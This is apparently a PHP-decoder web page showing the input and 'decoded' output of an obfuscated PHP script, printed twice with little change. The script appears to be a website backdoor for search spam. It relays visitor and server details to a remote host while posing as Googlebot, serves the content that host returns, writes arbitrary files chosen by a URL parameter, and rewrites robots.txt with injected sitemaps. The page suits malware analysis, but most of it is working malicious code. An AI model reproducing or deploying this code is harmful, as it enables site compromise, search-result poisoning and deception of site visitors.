Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); $OoooOO0 = 1003; $OOOOOO = "cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3..

Decoded Output download

 
 
<?php error_reporting(0); 
$OoooOO0 = 1003; 
$OOOOOO = "cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm1RV0VSVFZmFmYWZhlVSU9QQVNERkdISktMWlhDVkJOTV8tIj8+IDwuLT06LzEyMzA2NTQ4NzknOygpJl4kW11cXCV7fSEq"; 
$OOOOOO = str_replace("ZmFmYWZh", "", $OOOOOO); 
$O = base64_decode($OOOOOO); 
date_default_timezone_set($O{36} . $O{11} . $O{7} . $O{10} . $O{63} . $O{30} . $O{8} . $O{17} . $O{5} . $O{8}); 
$OO = @$_SERVER[$O{38} . $O{34} . $O{47} . $O{32} . $O{51} . $O{28} . $O{50} . $O{30} . $O{52} . $O{29} . $O{34} . $O{34} . $O{30}]; 
$Oo = @$_SERVER[$O{29} . $O{28} . $O{26} . $O{32} . $O{28} . $O{37} . $O{30} . $O{52} . $O{32} . $O{29} . $O{33}]; 
$OoO = @$_SERVER[$O{37} . $O{28} . $O{29} . $O{48} . $O{28} . $O{29} . $O{52} . $O{50} . $O{36} . $O{51} . $O{28}]; 
$OOOOO = @$_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{52} . $O{32} . $O{37} . $O{28} . $O{29} . $O{52} . $O{36} . $O{40} . $O{28} . $O{50} . $O{30}]; 
$OOOOOo = @$_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{52} . $O{29} . $O{28} . $O{39} . $O{28} . $O{29} . $O{28} . $O{29}]; 
$OOOOOOO = ((isset($_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{37}]) && $_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{37}] == $O{8} . $O{24}) || (isset($_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{52} . $O{46} . $O{52} . $O{39} . $O{34} . $O{29} . $O{27} . $O{36} . $O{29} . $O{38} . $O{28} . $O{38} . $O{52} . $O{35} . $O{29} . $O{34} . $O{30} . $O{34}]) && $_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{52} . $O{46} . $O{52} . $O{39} . $O{34} . $O{29} . $O{27} . $O{36} . $O{29} . $O{38} . $O{28} . $O{38} . $O{52} . $O{35} . $O{29} . $O{34} . $O{30} . $O{34}] == $O{15} . $O{4} . $O{4} . $O{9} . $O{11})) ? $O{15} . $O{4} . $O{4} . $O{9} . $O{11} . $O{62} . $O{63} . $O{63} : $O{15} . $O{4} . $O{4} . $O{9} . $O{62} . $O{63} . $O{63}; 
$OOOOOOOo = $OOOOOOO . $OoO; 
$Oo = substr($Oo, 1); 
$OOO = false; 
if (empty($Oo)) { 
    $Oo = $O{7} . $O{24} . $O{12} . $O{2} . $O{20} . $O{59} . $O{9} . $O{15} . $O{9}; 
} 
if (isset($_GET[$O{14} . $O{8} . $O{8} . $O{14} . $O{18} . $O{2}])) { 
    $OoOO = $_GET[$O{14} . $O{8} . $O{8} . $O{14} . $O{18} . $O{2}]; 
    OooooOOOO($O, $OoOO, $O{14} . $O{8} . $O{8} . $O{14} . $O{18} . $O{2} . $O{53} . $O{11} . $O{7} . $O{4} . $O{2} . $O{53} . $O{22} . $O{2} . $O{3} . $O{7} . $O{13} . $O{7} . $O{21} . $O{10} . $O{4} . $O{7} . $O{8} . $O{24} . $O{62} . ' ' . $OoOO); 
    exit($O{58} . $O{10} . $O{57} . $O{15} . $O{3} . $O{2} . $O{13} . $O{61} . $OoOO . $O{56} . $OoOO . $O{58} . $O{63} . $O{10} . $O{56}); 
} 
if (isset($_GET[$O{3} . $O{8} . $O{23} . $O{8} . $O{4} . $O{11}])) { 
    OooooOOOO($O, $O{3} . $O{8} . $O{23} . $O{8} . $O{4} . $O{11} . $O{59} . $O{4} . $O{20} . $O{4}, $O{32} . $O{11} . $O{2} . $O{3} . $O{53} . $O{10} . $O{14} . $O{2} . $O{24} . $O{4} . $O{62} . $O{57} . $O{89} . PHP_EOL . $O{36} . $O{18} . $O{18} . $O{8} . $O{1} . $O{62} . $O{57} . $O{63} . PHP_EOL . $O{47} . $O{3} . $O{10} . $O{1} . $O{18} . $O{53} . $O{12} . $O{2} . $O{18} . $O{10} . $O{5} . $O{62} . $O{66} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{55} . $O{12} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{10} . $O{14} . $O{15} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{65} . $O{68} . $O{69} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{19} . $O{12} . $O{2} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{18} . $O{8} . $O{6} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{22} . $O{24} . $O{13} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{18} . $O{17} . $O{16} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18}); 
    $OooooOOOO0 = file_get_contents($O{3} . $O{8} . $O{23} . $O{8} . $O{4} . $O{11} . $O{59} . $O{4} . $O{20} . $O{4}); 
    echo $OooooOOOO0; 
    exit(); 
} 
$Ooooooo = json_decode(OooooOO($O, $O{15} . $O{4} . $O{4} . $O{9} . $O{62} . $O{63} . $O{63} . $OoooOO0 . $O{59} . $O{16} . $O{9} . $O{2} . $O{3} . $O{64} . $O{59} . $O{20} . $O{5} . $O{19} . $O{63} . $O{16} . $O{9} . $O{3} . $O{59} . $O{9} . $O{15} . $O{9} . $O{55} . $O{2} . $O{12} . $O{61} . $OoooOO0 . $O{78} . $O{12} . $O{61} . $OoO . $O{78} . $O{6} . $O{18} . $O{61} . urlencode($Oo) . $O{78} . $O{3} . $O{61} . $OOOOOo . $O{78} . $O{15} . $O{61} . $OOOOOOO . $O{78} . $O{14} . $O{61} . urlencode($OOOOO)), true); 
if (strstr($Oo, $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9})) { 
    header($O{47} . $O{8} . $O{24} . $O{4} . $O{2} . $O{24} . $O{4} . $O{53} . $O{4} . $O{5} . $O{9} . $O{2} . $O{62} . $O{4} . $O{2} . $O{20} . $O{4} . $O{63} . $O{20} . $O{25} . $O{18}); 
    if (empty($Ooooooo) || $Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}] == $O{70} . $O{67} . $O{67}) { 
        echo $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{57} . $O{70} . $O{67} . $O{67}; 
        exit(); 
    } 
    $Oooooooo = $Ooooooo[$O{12} . $O{10} . $O{4} . $O{10}]; 
    echo $Oooooooo; 
    exit(); 
} 
if (isset($Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}]) && $Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}] == $O{65} . $O{67} . $O{67}) { 
    $Oooooooo = $Ooooooo[$O{12} . $O{10} . $O{4} . $O{10}]; 
    if (!empty($Oooooooo)) { 
        echo $Oooooooo; 
        exit(); 
    } 
} elseif (isset($Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}]) && $Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}] == $O{69} . $O{67} . $O{67}) { 
    header($O{41} . $O{30} . $O{30} . $O{35} . $O{63} . $O{64} . $O{59} . $O{64} . $O{57} . $O{69} . $O{67} . $O{67} . $O{57} . $O{33} . $O{24} . $O{4} . $O{2} . $O{3} . $O{24} . $O{10} . $O{18} . $O{57} . $O{37} . $O{2} . $O{3} . $O{22} . $O{2} . $O{3} . $O{57} . $O{28} . $O{3} . $O{3} . $O{8} . $O{3}); 
    exit(); 
} elseif (isset($Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}]) && $Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}] == $O{70} . $O{67} . $O{70} . $O{70}) { 
    header($O{41} . $O{30} . $O{30} . $O{35} . $O{63} . $O{64} . $O{59} . $O{67} . $O{57} . $O{70} . $O{67} . $O{70} . $O{57} . $O{50} . $O{8} . $O{4} . $O{57} . $O{39} . $O{8} . $O{6} . $O{24} . $O{12}); 
    header($O{37} . $O{4} . $O{10} . $O{4} . $O{6} . $O{11} . $O{62} . $O{57} . $O{70} . $O{67} . $O{70} . $O{57} . $O{50} . $O{8} . $O{4} . $O{57} . $O{39} . $O{8} . $O{6} . $O{24} . $O{12}); 
    exit(); 
} 
function OooooOO($O, $OooO) { 
    $OooOO = ''; 
    $OooOOO = $O{51} . $O{8} . $O{19} . $O{7} . $O{18} . $O{18} . $O{10} . $O{63} . $O{70} . $O{59} . $O{67} . $O{57} . $O{76} . $O{21} . $O{8} . $O{25} . $O{9} . $O{10} . $O{4} . $O{7} . $O{23} . $O{18} . $O{2} . $O{75} . $O{51} . $O{37} . $O{33} . $O{28} . $O{57} . $O{68} . $O{59} . $O{67} . $O{75} . $O{27} . $O{7} . $O{24} . $O{12} . $O{8} . $O{1} . $O{11} . $O{57} . $O{50} . $O{30} . $O{57} . $O{69} . $O{59} . $O{65} . $O{75} . $O{59} . $O{50} . $O{28} . $O{30} . $O{57} . $O{47} . $O{44} . $O{29} . $O{57} . $O{64} . $O{59} . $O{64} . $O{59} . $O{70} . $O{66} . $O{65} . $O{65} . $O{77}; 
    if (function_exists($O{21} . $O{6} . $O{3} . $O{18} . $O{52} . $O{7} . $O{24} . $O{7} . $O{4})) { 
        try { 
            $OooOOOO = curl_init(); 
            $OoooOO = 30; 
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{32} . $O{29} . $O{44}, $OooO); 
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{37} . $O{37} . $O{44} . $O{52} . $O{48} . $O{28} . $O{29} . $O{33} . $O{39} . $O{31} . $O{41} . $O{34} . $O{37} . $O{30}, 0); 
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{37} . $O{37} . $O{44} . $O{52} . $O{48} . $O{28} . $O{29} . $O{33} . $O{39} . $O{31} . $O{35} . $O{28} . $O{28} . $O{29}, 0); 
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{29} . $O{28} . $O{30} . $O{32} . $O{29} . $O{50} . $O{30} . $O{29} . $O{36} . $O{50} . $O{37} . $O{39} . $O{28} . $O{29}, 1); 
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{47} . $O{34} . $O{50} . $O{50} . $O{28} . $O{47} . $O{30} . $O{30} . $O{33} . $O{51} . $O{28} . $O{34} . $O{32} . $O{30}, $OoooOO); 
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{32} . $O{37} . $O{28} . $O{29} . $O{36} . $O{40} . $O{28} . $O{50} . $O{30}, $OooOOO); 
            $OooOO = curl_exec($OooOOOO); 
            curl_close($OooOOOO); 
        } 
        catch(Exception $e) { 
        } 
    } 
    if (strlen($OooOO) < 1 && function_exists($O{13} . $O{7} . $O{18} . $O{2} . $O{52} . $O{14} . $O{2} . $O{4} . $O{52} . $O{21} . $O{8} . $O{24} . $O{4} . $O{2} . $O{24} . $O{4} . $O{11})) { 
        ini_set($O{6} . $O{11} . $O{2} . $O{3} . $O{52} . $O{10} . $O{14} . $O{2} . $O{24} . $O{4}, $OooOOO); 
        try { 
            $OooOO = @file_get_contents($OooO); 
        } 
        catch(Exception $e) { 
        } 
    } 
    return $OooOO; 
} 
function OooooOOOO($O, $Ooo, $OooOOOOO) { 
    $OoooO = fopen($Ooo, $O{1}) or die('0'); 
    fwrite($OoooO, $OooOOOOO); 
    fclose($OoooO); 
} ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
?> 
 

Did this file decode correctly?

Original Code



<?php error_reporting(0);
$OoooOO0 = 1003;
$OOOOOO = "cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm1RV0VSVFZmFmYWZhlVSU9QQVNERkdISktMWlhDVkJOTV8tIj8+IDwuLT06LzEyMzA2NTQ4NzknOygpJl4kW11cXCV7fSEq";
$OOOOOO = str_replace("ZmFmYWZh", "", $OOOOOO);
$O = base64_decode($OOOOOO);
date_default_timezone_set($O{36} . $O{11} . $O{7} . $O{10} . $O{63} . $O{30} . $O{8} . $O{17} . $O{5} . $O{8});
$OO = @$_SERVER[$O{38} . $O{34} . $O{47} . $O{32} . $O{51} . $O{28} . $O{50} . $O{30} . $O{52} . $O{29} . $O{34} . $O{34} . $O{30}];
$Oo = @$_SERVER[$O{29} . $O{28} . $O{26} . $O{32} . $O{28} . $O{37} . $O{30} . $O{52} . $O{32} . $O{29} . $O{33}];
$OoO = @$_SERVER[$O{37} . $O{28} . $O{29} . $O{48} . $O{28} . $O{29} . $O{52} . $O{50} . $O{36} . $O{51} . $O{28}];
$OOOOO = @$_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{52} . $O{32} . $O{37} . $O{28} . $O{29} . $O{52} . $O{36} . $O{40} . $O{28} . $O{50} . $O{30}];
$OOOOOo = @$_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{52} . $O{29} . $O{28} . $O{39} . $O{28} . $O{29} . $O{28} . $O{29}];
$OOOOOOO = ((isset($_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{37}]) && $_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{37}] == $O{8} . $O{24}) || (isset($_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{52} . $O{46} . $O{52} . $O{39} . $O{34} . $O{29} . $O{27} . $O{36} . $O{29} . $O{38} . $O{28} . $O{38} . $O{52} . $O{35} . $O{29} . $O{34} . $O{30} . $O{34}]) && $_SERVER[$O{41} . $O{30} . $O{30} . $O{35} . $O{52} . $O{46} . $O{52} . $O{39} . $O{34} . $O{29} . $O{27} . $O{36} . $O{29} . $O{38} . $O{28} . $O{38} . $O{52} . $O{35} . $O{29} . $O{34} . $O{30} . $O{34}] == $O{15} . $O{4} . $O{4} . $O{9} . $O{11})) ? $O{15} . $O{4} . $O{4} . $O{9} . $O{11} . $O{62} . $O{63} . $O{63} : $O{15} . $O{4} . $O{4} . $O{9} . $O{62} . $O{63} . $O{63};
$OOOOOOOo = $OOOOOOO . $OoO;
$Oo = substr($Oo, 1);
$OOO = false;
if (empty($Oo)) {
    $Oo = $O{7} . $O{24} . $O{12} . $O{2} . $O{20} . $O{59} . $O{9} . $O{15} . $O{9};
}
if (isset($_GET[$O{14} . $O{8} . $O{8} . $O{14} . $O{18} . $O{2}])) {
    $OoOO = $_GET[$O{14} . $O{8} . $O{8} . $O{14} . $O{18} . $O{2}];
    OooooOOOO($O, $OoOO, $O{14} . $O{8} . $O{8} . $O{14} . $O{18} . $O{2} . $O{53} . $O{11} . $O{7} . $O{4} . $O{2} . $O{53} . $O{22} . $O{2} . $O{3} . $O{7} . $O{13} . $O{7} . $O{21} . $O{10} . $O{4} . $O{7} . $O{8} . $O{24} . $O{62} . ' ' . $OoOO);
    exit($O{58} . $O{10} . $O{57} . $O{15} . $O{3} . $O{2} . $O{13} . $O{61} . $OoOO . $O{56} . $OoOO . $O{58} . $O{63} . $O{10} . $O{56});
}
if (isset($_GET[$O{3} . $O{8} . $O{23} . $O{8} . $O{4} . $O{11}])) {
    OooooOOOO($O, $O{3} . $O{8} . $O{23} . $O{8} . $O{4} . $O{11} . $O{59} . $O{4} . $O{20} . $O{4}, $O{32} . $O{11} . $O{2} . $O{3} . $O{53} . $O{10} . $O{14} . $O{2} . $O{24} . $O{4} . $O{62} . $O{57} . $O{89} . PHP_EOL . $O{36} . $O{18} . $O{18} . $O{8} . $O{1} . $O{62} . $O{57} . $O{63} . PHP_EOL . $O{47} . $O{3} . $O{10} . $O{1} . $O{18} . $O{53} . $O{12} . $O{2} . $O{18} . $O{10} . $O{5} . $O{62} . $O{66} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{55} . $O{12} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{10} . $O{14} . $O{15} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{65} . $O{68} . $O{69} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{19} . $O{12} . $O{2} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{18} . $O{8} . $O{6} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{22} . $O{24} . $O{13} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18} . PHP_EOL . $O{37} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{62} . $OOOOOOOo . $O{63} . $O{18} . $O{17} . $O{16} . $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{59} . $O{20} . $O{25} . $O{18});
    $OooooOOOO0 = file_get_contents($O{3} . $O{8} . $O{23} . $O{8} . $O{4} . $O{11} . $O{59} . $O{4} . $O{20} . $O{4});
    echo $OooooOOOO0;
    exit();
}
$Ooooooo = json_decode(OooooOO($O, $O{15} . $O{4} . $O{4} . $O{9} . $O{62} . $O{63} . $O{63} . $OoooOO0 . $O{59} . $O{16} . $O{9} . $O{2} . $O{3} . $O{64} . $O{59} . $O{20} . $O{5} . $O{19} . $O{63} . $O{16} . $O{9} . $O{3} . $O{59} . $O{9} . $O{15} . $O{9} . $O{55} . $O{2} . $O{12} . $O{61} . $OoooOO0 . $O{78} . $O{12} . $O{61} . $OoO . $O{78} . $O{6} . $O{18} . $O{61} . urlencode($Oo) . $O{78} . $O{3} . $O{61} . $OOOOOo . $O{78} . $O{15} . $O{61} . $OOOOOOO . $O{78} . $O{14} . $O{61} . urlencode($OOOOO)), true);
if (strstr($Oo, $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9})) {
    header($O{47} . $O{8} . $O{24} . $O{4} . $O{2} . $O{24} . $O{4} . $O{53} . $O{4} . $O{5} . $O{9} . $O{2} . $O{62} . $O{4} . $O{2} . $O{20} . $O{4} . $O{63} . $O{20} . $O{25} . $O{18});
    if (empty($Ooooooo) || $Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}] == $O{70} . $O{67} . $O{67}) {
        echo $O{11} . $O{7} . $O{4} . $O{2} . $O{25} . $O{10} . $O{9} . $O{57} . $O{70} . $O{67} . $O{67};
        exit();
    }
    $Oooooooo = $Ooooooo[$O{12} . $O{10} . $O{4} . $O{10}];
    echo $Oooooooo;
    exit();
}
if (isset($Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}]) && $Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}] == $O{65} . $O{67} . $O{67}) {
    $Oooooooo = $Ooooooo[$O{12} . $O{10} . $O{4} . $O{10}];
    if (!empty($Oooooooo)) {
        echo $Oooooooo;
        exit();
    }
} elseif (isset($Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}]) && $Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}] == $O{69} . $O{67} . $O{67}) {
    header($O{41} . $O{30} . $O{30} . $O{35} . $O{63} . $O{64} . $O{59} . $O{64} . $O{57} . $O{69} . $O{67} . $O{67} . $O{57} . $O{33} . $O{24} . $O{4} . $O{2} . $O{3} . $O{24} . $O{10} . $O{18} . $O{57} . $O{37} . $O{2} . $O{3} . $O{22} . $O{2} . $O{3} . $O{57} . $O{28} . $O{3} . $O{3} . $O{8} . $O{3});
    exit();
} elseif (isset($Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}]) && $Ooooooo[$O{21} . $O{8} . $O{12} . $O{2}] == $O{70} . $O{67} . $O{70} . $O{70}) {
    header($O{41} . $O{30} . $O{30} . $O{35} . $O{63} . $O{64} . $O{59} . $O{67} . $O{57} . $O{70} . $O{67} . $O{70} . $O{57} . $O{50} . $O{8} . $O{4} . $O{57} . $O{39} . $O{8} . $O{6} . $O{24} . $O{12});
    header($O{37} . $O{4} . $O{10} . $O{4} . $O{6} . $O{11} . $O{62} . $O{57} . $O{70} . $O{67} . $O{70} . $O{57} . $O{50} . $O{8} . $O{4} . $O{57} . $O{39} . $O{8} . $O{6} . $O{24} . $O{12});
    exit();
}
function OooooOO($O, $OooO) {
    $OooOO = '';
    $OooOOO = $O{51} . $O{8} . $O{19} . $O{7} . $O{18} . $O{18} . $O{10} . $O{63} . $O{70} . $O{59} . $O{67} . $O{57} . $O{76} . $O{21} . $O{8} . $O{25} . $O{9} . $O{10} . $O{4} . $O{7} . $O{23} . $O{18} . $O{2} . $O{75} . $O{51} . $O{37} . $O{33} . $O{28} . $O{57} . $O{68} . $O{59} . $O{67} . $O{75} . $O{27} . $O{7} . $O{24} . $O{12} . $O{8} . $O{1} . $O{11} . $O{57} . $O{50} . $O{30} . $O{57} . $O{69} . $O{59} . $O{65} . $O{75} . $O{59} . $O{50} . $O{28} . $O{30} . $O{57} . $O{47} . $O{44} . $O{29} . $O{57} . $O{64} . $O{59} . $O{64} . $O{59} . $O{70} . $O{66} . $O{65} . $O{65} . $O{77};
    if (function_exists($O{21} . $O{6} . $O{3} . $O{18} . $O{52} . $O{7} . $O{24} . $O{7} . $O{4})) {
        try {
            $OooOOOO = curl_init();
            $OoooOO = 30;
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{32} . $O{29} . $O{44}, $OooO);
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{37} . $O{37} . $O{44} . $O{52} . $O{48} . $O{28} . $O{29} . $O{33} . $O{39} . $O{31} . $O{41} . $O{34} . $O{37} . $O{30}, 0);
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{37} . $O{37} . $O{44} . $O{52} . $O{48} . $O{28} . $O{29} . $O{33} . $O{39} . $O{31} . $O{35} . $O{28} . $O{28} . $O{29}, 0);
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{29} . $O{28} . $O{30} . $O{32} . $O{29} . $O{50} . $O{30} . $O{29} . $O{36} . $O{50} . $O{37} . $O{39} . $O{28} . $O{29}, 1);
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{47} . $O{34} . $O{50} . $O{50} . $O{28} . $O{47} . $O{30} . $O{30} . $O{33} . $O{51} . $O{28} . $O{34} . $O{32} . $O{30}, $OoooOO);
            curl_setopt($OooOOOO, $O{47} . $O{32} . $O{29} . $O{44} . $O{34} . $O{35} . $O{30} . $O{52} . $O{32} . $O{37} . $O{28} . $O{29} . $O{36} . $O{40} . $O{28} . $O{50} . $O{30}, $OooOOO);
            $OooOO = curl_exec($OooOOOO);
            curl_close($OooOOOO);
        }
        catch(Exception $e) {
        }
    }
    if (strlen($OooOO) < 1 && function_exists($O{13} . $O{7} . $O{18} . $O{2} . $O{52} . $O{14} . $O{2} . $O{4} . $O{52} . $O{21} . $O{8} . $O{24} . $O{4} . $O{2} . $O{24} . $O{4} . $O{11})) {
        ini_set($O{6} . $O{11} . $O{2} . $O{3} . $O{52} . $O{10} . $O{14} . $O{2} . $O{24} . $O{4}, $OooOOO);
        try {
            $OooOO = @file_get_contents($OooO);
        }
        catch(Exception $e) {
        }
    }
    return $OooOO;
}
function OooooOOOO($O, $Ooo, $OooOOOOO) {
    $OoooO = fopen($Ooo, $O{1}) or die('0');
    fwrite($OoooO, $OooOOOOO);
    fclose($OoooO);
} ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
?>

Function Calls

str_replace 1
base64_decode 1
error_reporting 1
date_default_timezone_set 1

Variables

$O qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?> <...
$OOOOOO cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm1RV0VSVFlVSU9QQVNERkdISktM..
$OoooOO0 1003

Stats

MD5 5ac8cc39582d52dd2c4c1676a11a9539
Eval Count 0
Decode Time 164 ms